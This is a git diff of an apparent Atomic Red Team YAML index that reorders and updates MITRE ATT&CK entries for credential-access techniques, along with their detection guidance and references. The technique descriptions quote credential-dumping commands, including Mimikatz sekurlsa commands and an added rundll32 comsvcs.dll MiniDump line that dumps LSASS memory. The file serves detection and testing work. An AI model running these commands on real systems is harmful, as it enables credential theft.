-        url: https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html
-        description: Kuehn, E. (2018, April 11). Ever Run a Relay? Why SMB Relays
-          Should Be On Your Mind. Retrieved February 7, 2019.
-      - url: https://github.com/nomex/nbnspoof
-        description: Nomex. (2014, February 7). NBNSpoof. Retrieved November 17, 2017.
-        source_name: GitHub NBNSpoof
-      - url: https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response
-        description: Francois, R. (n.d.). LLMNR Spoofer. Retrieved November 17, 2017.
-        source_name: Rapid7 LLMNR Spoofer
-      - url: https://github.com/SpiderLabs/Responder
-        description: Gaffie, L. (2016, August 25). Responder. Retrieved November 17,
-          2017.
-        source_name: GitHub Responder
-      - url: https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning
-        description: 'Sternstein, J. (2013, November). Local Network Attacks: LLMNR
-          and NBT-NS Poisoning. Retrieved November 17, 2017.'
-        source_name: Sternsecurity LLMNR-NBTNS
-      - url: https://github.com/Kevin-Robertson/Conveigh
-        description: Robertson, K. (2016, August 28). Conveigh. Retrieved November
-          17, 2017.
-        source_name: GitHub Conveigh
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: LLMNR/NBT-NS Poisoning and SMB Relay
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Traffic Content'
+      - 'Network Traffic: Network Traffic Flow'
+      - 'Service: Service Creation'
+      - 'Windows Registry: Windows Registry Key Modification'
+      x_mitre_version: '1.2'
+      modified: '2021-09-28T13:09:50.809Z'
+      created: '2020-02-11T19:08:51.677Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: credential-access
+      - kill_chain_name: mitre-attack
+        phase_name: collection
+      id: attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
       description: "By responding to LLMNR/NBT-NS network traffic, adversaries may
         spoof an authoritative source for name resolution to force communication with
         an adversary controlled system. This activity may be used to collect or relay
@@ -3392,35 +3436,55 @@ credential-access:
         name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174).
         (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub
         Responder)"
-      id: attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: credential-access
-      - kill_chain_name: mitre-attack
-        phase_name: collection
-      modified: '2020-03-31T13:54:08.239Z'
-      created: '2020-02-11T19:08:51.677Z'
       x_mitre_contributors:
       - Eric Kuehn, Secure Ideas
       - Matthew Demaske, Adaptforward
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Traffic Flow'
-      - 'Network Traffic: Network Traffic Flow'
-      - 'Service: Service Creation'
-      - 'Windows Registry: Windows Registry Key Modification'
-      x_mitre_permissions_required:
-      - User
       x_mitre_detection: |-
         Monitor <code>HKLM\Software\Policies\Microsoft\Windows NT\DNSClient</code> for changes to the "EnableMulticast" DWORD value. A value of “0” indicates LLMNR is disabled. (Citation: Sternsecurity LLMNR-NBTNS)
 
         Monitor for traffic on ports UDP 5355 and UDP 137 if LLMNR/NetBIOS is disabled by security policy.
 
         Deploy an LLMNR/NBT-NS spoofing detection tool.(Citation: GitHub Conveigh) Monitoring of Windows event logs for event IDs 4697 and 7045 may help in detecting successful relay techniques.(Citation: Secure Ideas SMB Relay)
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1557/001
+        external_id: T1557.001
+        source_name: mitre-attack
+      - source_name: Wikipedia LLMNR
+        description: Wikipedia. (2016, July 7). Link-Local Multicast Name Resolution.
+          Retrieved November 17, 2017.
+        url: https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution
+      - source_name: TechNet NetBIOS
+        description: Microsoft. (n.d.). NetBIOS Name Resolution. Retrieved November
+          17, 2017.
+        url: https://technet.microsoft.com/library/cc958811.aspx
+      - url: https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
+        description: Salvati, M. (2017, June 2). Practical guide to NTLM Relaying
+          in 2017 (A.K.A getting a foothold in under 5 minutes). Retrieved February
+          7, 2019.
+        source_name: byt3bl33d3r NTLM Relaying
+      - url: https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html
+        description: Kuehn, E. (2018, April 11). Ever Run a Relay? Why SMB Relays
+          Should Be On Your Mind. Retrieved February 7, 2019.
+        source_name: Secure Ideas SMB Relay
+      - source_name: GitHub NBNSpoof
+        description: Nomex. (2014, February 7). NBNSpoof. Retrieved November 17, 2017.
+        url: https://github.com/nomex/nbnspoof
+      - source_name: Rapid7 LLMNR Spoofer
+        description: Francois, R. (n.d.). LLMNR Spoofer. Retrieved November 17, 2017.
+        url: https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response
+      - source_name: GitHub Responder
+        description: Gaffie, L. (2016, August 25). Responder. Retrieved November 17,
+          2017.
+        url: https://github.com/SpiderLabs/Responder
+      - source_name: Sternsecurity LLMNR-NBTNS
+        description: 'Sternstein, J. (2013, November). Local Network Attacks: LLMNR
+          and NBT-NS Poisoning. Retrieved November 17, 2017.'
+        url: https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning
+      - source_name: GitHub Conveigh
+        description: Robertson, K. (2016, August 28). Conveigh. Retrieved November
+          17, 2017.
+        url: https://github.com/Kevin-Robertson/Conveigh
       identifier: T1557.001
     atomic_tests:
     - name: LLMNR Poisoning with Inveigh (PowerShell)
@@ -3439,49 +3503,31 @@ credential-access:
         elevation_required: true
   T1003.004:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1003.004
-        url: https://attack.mitre.org/techniques/T1003/004
-      - source_name: Passcape LSA Secrets
-        url: https://www.passcape.com/index.php?section=docsys&cmd=details&id=23
-        description: Passcape. (n.d.). Windows LSA secrets. Retrieved February 21,
-          2020.
-      - source_name: Microsoft AD Admin Tier Model
-        url: https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material?redirectedfrom=MSDN
-        description: Microsoft. (2019, February 14). Active Directory administrative
-          tier model. Retrieved February 21, 2020.
-      - source_name: Tilbury Windows Credentials
-        url: https://www.first.org/resources/papers/conf2017/Windows-Credentials-Attacks-and-Mitigation-Techniques.pdf
-        description: 'Chad Tilbury. (2017, August 8). 1Windows Credentials: Attack,
-          Mitigation, Defense. Retrieved February 21, 2020.'
-      - source_name: ired Dumping LSA Secrets
-        url: https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets
-        description: Mantvydas Baranauskas. (2019, November 16). Dumping LSA Secrets.
-          Retrieved February 21, 2020.
-      - url: https://github.com/mattifestation/PowerSploit
-        description: PowerSploit. (n.d.). Retrieved December 4, 2014.
-        source_name: Powersploit
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: LSA Secrets
+      x_mitre_data_sources:
+      - 'Windows Registry: Windows Registry Key Access'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      modified: '2021-04-21T21:12:38.361Z'
+      created: '2020-02-21T16:22:09.493Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: credential-access
+      id: attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - SYSTEM
       description: |-
         Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts.(Citation: Passcape LSA Secrets)(Citation: Microsoft AD Admin Tier Model)(Citation: Tilbury Windows Credentials) LSA secrets are stored in the registry at <code>HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets</code>. LSA secrets can also be dumped from memory.(Citation: ired Dumping LSA Secrets)
 
         [Reg](https://attack.mitre.org/software/S0075) can be used to extract from the Registry. [Mimikatz](https://attack.mitre.org/software/S0002) can be used to extract secrets from memory.(Citation: ired Dumping LSA Secrets)
-      id: attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: credential-access
-      modified: '2021-04-21T21:12:38.361Z'
-      created: '2020-02-21T16:22:09.493Z'
       x_mitre_contributors:
       - Ed Williams, Trustwave, SpiderLabs
-      x_mitre_data_sources:
-      - 'Windows Registry: Windows Registry Key Access'
-      - 'Command: Command Execution'
       x_mitre_detection: 'Monitor processes and command-line arguments for program
         execution that may be indicative of credential dumping. Remote access tools
         may contain built-in features or incorporate existing tools like Mimikatz.
@@ -3489,12 +3535,30 @@ credential-access:
         such as PowerSploit''s Invoke-Mimikatz module,(Citation: Powersploit) which
         may require additional logging features to be configured in the operating
         system to collect necessary information for analysis.'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - SYSTEM
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1003/004
+        external_id: T1003.004
+        source_name: mitre-attack
+      - url: https://www.passcape.com/index.php?section=docsys&cmd=details&id=23
+        description: Passcape. (n.d.). Windows LSA secrets. Retrieved February 21,
+          2020.
+        source_name: Passcape LSA Secrets
+      - url: https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material?redirectedfrom=MSDN
+        description: Microsoft. (2019, February 14). Active Directory administrative
+          tier model. Retrieved February 21, 2020.
+        source_name: Microsoft AD Admin Tier Model
+      - url: https://www.first.org/resources/papers/conf2017/Windows-Credentials-Attacks-and-Mitigation-Techniques.pdf
+        description: 'Chad Tilbury. (2017, August 8). 1Windows Credentials: Attack,
+          Mitigation, Defense. Retrieved February 21, 2020.'
+        source_name: Tilbury Windows Credentials
+      - url: https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets
+        description: Mantvydas Baranauskas. (2019, November 16). Dumping LSA Secrets.
+          Retrieved February 21, 2020.
+        source_name: ired Dumping LSA Secrets
+      - source_name: Powersploit
+        description: PowerSploit. (n.d.). Retrieved December 4, 2014.
+        url: https://github.com/mattifestation/PowerSploit
       identifier: T1003.004
     atomic_tests:
     - name: Dumping LSA Secrets
@@ -3529,13 +3593,28 @@ credential-access:
         elevation_required: true
   T1003.001:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: LSASS Memory
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Process: Process Access'
+      - 'Command: Command Execution'
+      - 'Process: OS API Execution'
+      x_mitre_version: '1.1'
+      modified: '2021-10-15T19:55:01.368Z'
       created: '2020-02-11T18:41:44.783Z'
-      modified: '2020-06-09T20:46:00.393Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: credential-access
-      type: attack-pattern
       id: attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
+      - SYSTEM
       description: |
         Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct [Lateral Movement](https://attack.mitre.org/tactics/TA0008) using [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550).
 
@@ -3550,6 +3629,10 @@ credential-access:
         * <code>sekurlsa::Minidump lsassdump.dmp</code>
         * <code>sekurlsa::logonPasswords</code>
 
+        Built-in Windows tools such as comsvcs.dll can also be used:
+
+        * <code>rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump PID  lsass.dmp full</code>(Citation: Volexity Exchange Marauder March 2021)(Citation: Symantec Attacks Against Government Sector)
+
 
         Windows Security Support Provider (SSP) DLLs are loaded into LSSAS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages</code> and <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)
 
@@ -3559,49 +3642,44 @@ credential-access:
         * Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.(Citation: TechNet Blogs Credential Protection)
         * Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.
         * CredSSP:  Provides SSO and Network Level Authentication for Remote Desktop Services.(Citation: TechNet Blogs Credential Protection)
-      name: LSASS Memory
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1003.001
-        url: https://attack.mitre.org/techniques/T1003/001
-      - url: http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html
-        description: Graeber, M. (2014, October). Analysis of Malicious Security Support
-          Provider DLLs. Retrieved March 1, 2017.
-        source_name: Graeber 2014
-      - url: https://blogs.technet.microsoft.com/askpfeplat/2016/04/18/the-importance-of-kb2871997-and-kb2928120-for-credential-protection/
-        description: Wilson, B. (2016, April 18). The Importance of KB2871997 and
-          KB2928120 for Credential Protection. Retrieved April 11, 2018.
-        source_name: TechNet Blogs Credential Protection
-      - description: French, D. (2018, October 2). Detecting Attempts to Steal Passwords
-          from Memory. Retrieved October 11, 2019.
-        url: https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea
-        source_name: Medium Detecting Attempts to Steal Passwords from Memory
-      - url: https://github.com/mattifestation/PowerSploit
-        description: PowerSploit. (n.d.). Retrieved December 4, 2014.
-        source_name: Powersploit
-      x_mitre_platforms:
-      - Windows
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      x_mitre_contributors:
+      - Edward Millington
+      - Ed Williams, Trustwave, SpiderLabs
       x_mitre_detection: |-
         Monitor for unexpected processes interacting with LSASS.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as Mimikatz access LSASS.exe by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.
 
         On Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.
 
         Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.
-      x_mitre_permissions_required:
-      - Administrator
-      - SYSTEM
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Process: Process Access'
-      - 'Command: Command Execution'
-      - 'Process: OS API Execution'
-      x_mitre_contributors:
-      - Ed Williams, Trustwave, SpiderLabs
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1003/001
+        external_id: T1003.001
+        source_name: mitre-attack
+      - url: https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/
+        description: 'Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder:
+          Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities.
+          Retrieved March 3, 2021.'
+        source_name: Volexity Exchange Marauder March 2021
+      - url: https://symantec.broadcom.com/hubfs/Attacks-Against-Government-Sector.pdf
+        description: Symantec. (2021, June 10). Attacks Against the Government Sector.
+          Retrieved September 28, 2021.
+        source_name: Symantec Attacks Against Government Sector
+      - source_name: Graeber 2014
+        description: Graeber, M. (2014, October). Analysis of Malicious Security Support
+          Provider DLLs. Retrieved March 1, 2017.
+        url: http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html
+      - source_name: TechNet Blogs Credential Protection
+        description: Wilson, B. (2016, April 18). The Importance of KB2871997 and
+          KB2928120 for Credential Protection. Retrieved April 11, 2018.
+        url: https://blogs.technet.microsoft.com/askpfeplat/2016/04/18/the-importance-of-kb2871997-and-kb2928120-for-credential-protection/
+      - source_name: Medium Detecting Attempts to Steal Passwords from Memory
+        description: French, D. (2018, October 2). Detecting Attempts to Steal Passwords
+          from Memory. Retrieved October 11, 2019.
+        url: https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea
+      - source_name: Powersploit
+        description: PowerSploit. (n.d.). Retrieved December 4, 2014.
+        url: https://github.com/mattifestation/PowerSploit
       identifier: T1003.001
     atomic_tests:
     - name: Dump LSASS.exe Memory using ProcDump
@@ -4000,98 +4078,12 @@ credential-access:
 '
         name: powershell
         elevation_required: true
-  T1557:
-    technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1557
-        url: https://attack.mitre.org/techniques/T1557
-      - external_id: CAPEC-94
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/94.html
-      - source_name: Rapid7 MiTM Basics
-        url: https://www.rapid7.com/fundamentals/man-in-the-middle-attacks/
-        description: Rapid7. (n.d.). Man-in-the-Middle (MITM) Attacks. Retrieved March
-          2, 2020.
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Man-in-the-Middle
-      description: |-
-        Adversaries may attempt to position themselves between two or more networked devices using a man-in-the-middle (MiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)
-
-        Adversaries may leverage the MiTM position to attempt to modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can also stop traffic from flowing to the appropriate destination, causing denial of service.
-      id: attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: credential-access
-      - kill_chain_name: mitre-attack
-        phase_name: collection
-      modified: '2020-10-16T15:19:48.733Z'
-      created: '2020-02-11T19:07:12.114Z'
-      x_mitre_contributors:
-      - Daniil Yugoslavskiy, @yugoslavskiy, Atomic Threat Coverage project
-      x_mitre_detection: Monitor network traffic for anomalies associated with known
-        MiTM behavior. Consider monitoring for modifications to system configuration
-        files involved in shaping network traffic flow.
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Traffic Flow'
-      - 'Network Traffic: Network Traffic Flow'
-      - 'Service: Service Creation'
-      - 'Windows Registry: Windows Registry Key Modification'
-      x_mitre_permissions_required:
-      - User
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - Windows
-      - macOS
-      - Linux
-    atomic_tests: []
   T1556:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1556
-        url: https://attack.mitre.org/techniques/T1556
-      - url: https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/
-        description: Bialek, J. (2013, September 15). Intercepting Password Changes
-          With Function Hooking. Retrieved November 21, 2017.
-        source_name: Clymb3r Function Hook Passwords Sept 2013
-      - source_name: Dell Skeleton
-        description: Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis.
-          Retrieved April 8, 2019.
-        url: https://www.secureworks.com/research/skeleton-key-malware-analysis
-      - source_name: Xorrior Authorization Plugins
-        url: https://xorrior.com/persistent-credential-theft/
-        description: Chris Ross. (2018, October 17). Persistent Credential Theft with
-          Authorization Plugins. Retrieved April 22, 2021.
-      - url: https://technet.microsoft.com/en-us/library/dn487457.aspx
-        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
-          June 3, 2016.
-        source_name: TechNet Audit Policy
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Modify Authentication Process
-      description: |-
-        Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078).
-
-        Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.
-      id: attack-pattern--f4c1826f-a322-41cd-9557-562100848c84
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: credential-access
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      modified: '2021-04-26T20:08:31.712Z'
-      created: '2020-02-11T19:01:56.887Z'
-      x_mitre_contributors:
-      - Chris Ross @xorrior
+      name: Modify Authentication Process
       x_mitre_data_sources:
       - 'Logon Session: Logon Session Creation'
       - 'Process: OS API Execution'
@@ -4100,6 +4092,29 @@ credential-access:
       - 'File: File Creation'
       - 'Module: Module Load'
       - 'Windows Registry: Windows Registry Key Modification'
+      x_mitre_version: '2.0'
+      modified: '2021-10-17T14:48:33.990Z'
+      created: '2020-02-11T19:01:56.887Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: credential-access
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      x_mitre_platforms:
+      - Windows
+      - Linux
+      - macOS
+      - Network
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--f4c1826f-a322-41cd-9557-562100848c84
+      description: |-
+        Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078).
+
+        Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.
+      x_mitre_contributors:
+      - Chris Ross @xorrior
       x_mitre_detection: "Monitor for new, unfamiliar DLL files written to a domain
         controller and/or local computer. Monitor for changes to Registry entries
         for password filters (ex: <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification
@@ -4124,17 +4139,63 @@ credential-access:
         system as a particular account. Correlate other security systems with login
         information (e.g., a user has an active login session but has not entered
         the building or does not have VPN access)."
-      x_mitre_version: '2.0'
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - Windows
-      - Linux
-      - macOS
-      - Network
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1556
+        external_id: T1556
+        source_name: mitre-attack
+      - source_name: Clymb3r Function Hook Passwords Sept 2013
+        description: Bialek, J. (2013, September 15). Intercepting Password Changes
+          With Function Hooking. Retrieved November 21, 2017.
+        url: https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/
+      - url: https://www.secureworks.com/research/skeleton-key-malware-analysis
+        description: Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis.
+          Retrieved April 8, 2019.
+        source_name: Dell Skeleton
+      - url: https://xorrior.com/persistent-credential-theft/
+        description: Chris Ross. (2018, October 17). Persistent Credential Theft with
+          Authorization Plugins. Retrieved April 22, 2021.
+        source_name: Xorrior Authorization Plugins
+      - source_name: TechNet Audit Policy
+        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
+          June 3, 2016.
+        url: https://technet.microsoft.com/en-us/library/dn487457.aspx
     atomic_tests: []
   T1003.003:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: NTDS
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1003/003
+        external_id: T1003.003
+        source_name: mitre-attack
+      - source_name: Wikipedia Active Directory
+        description: Wikipedia. (2018, March 10). Active Directory. Retrieved April
+          11, 2018.
+        url: https://en.wikipedia.org/wiki/Active_Directory
+      - source_name: Metcalf 2015
+        description: Metcalf, S. (2015, January 19). Attackers Can Now Use Mimikatz
+          to Implant Skeleton Key on Domain Controllers & BackDoor Your Active Directory
+          Forest. Retrieved February 3, 2015.
+        url: http://adsecurity.org/?p=1275
+      x_mitre_data_sources:
+      - 'File: File Access'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      modified: '2020-12-14T23:08:02.782Z'
+      x_mitre_system_requirements:
+      - Access to Domain Controller or backup
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: credential-access
       id: attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
       description: |
         Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in <code>%SystemRoot%\NTDS\Ntds.dit</code> of a domain controller.(Citation: Wikipedia Active Directory)
 
@@ -4146,45 +4207,13 @@ credential-access:
         * secretsdump.py
         * Using the in-built Windows tool, ntdsutil.exe
         * Invoke-NinjaCopy
-      name: NTDS
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1003.003
-        url: https://attack.mitre.org/techniques/T1003/003
-      - url: https://en.wikipedia.org/wiki/Active_Directory
-        description: Wikipedia. (2018, March 10). Active Directory. Retrieved April
-          11, 2018.
-        source_name: Wikipedia Active Directory
-      - url: http://adsecurity.org/?p=1275
-        description: Metcalf, S. (2015, January 19). Attackers Can Now Use Mimikatz
-          to Implant Skeleton Key on Domain Controllers & BackDoor Your Active Directory
-          Forest. Retrieved February 3, 2015.
-        source_name: Metcalf 2015
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: credential-access
-      modified: '2020-12-14T23:08:02.782Z'
-      created: '2020-02-11T18:42:35.572Z'
-      x_mitre_platforms:
-      - Windows
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
-      x_mitre_permissions_required:
-      - Administrator
-      x_mitre_data_sources:
-      - 'File: File Access'
-      - 'Command: Command Execution'
-      x_mitre_system_requirements:
-      - Access to Domain Controller or backup
+      x_mitre_contributors:
+      - Ed Williams, Trustwave, SpiderLabs
       x_mitre_detection: Monitor processes and command-line arguments for program
         execution that may be indicative of credential dumping, especially attempts
         to access or copy the NTDS.dit.
-      x_mitre_contributors:
-      - Ed Williams, Trustwave, SpiderLabs
+      created: '2020-02-11T18:42:35.572Z'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       identifier: T1003.003
     atomic_tests:
     - name: Create Volume Shadow Copy with vssadmin
@@ -4465,32 +4494,25 @@ credential-access:
         elevation_required: true
   T1556.004:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1556.004
-        url: https://attack.mitre.org/techniques/T1556/004
-      - source_name: FireEye - Synful Knock
-        url: https://www.fireeye.com/blog/threat-research/2015/09/synful_knock_-_acis.html
-        description: Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful
-          Knock - A Cisco router implant - Part I. Retrieved October 19, 2020.
-      - source_name: Cisco IOS Software Integrity Assurance - Image File Verification
-        url: https://tools.cisco.com/security/center/resources/integrity_assurance.html#7
-        description: Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco
-          IOS Image File Verification. Retrieved October 19, 2020.
-      - source_name: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification
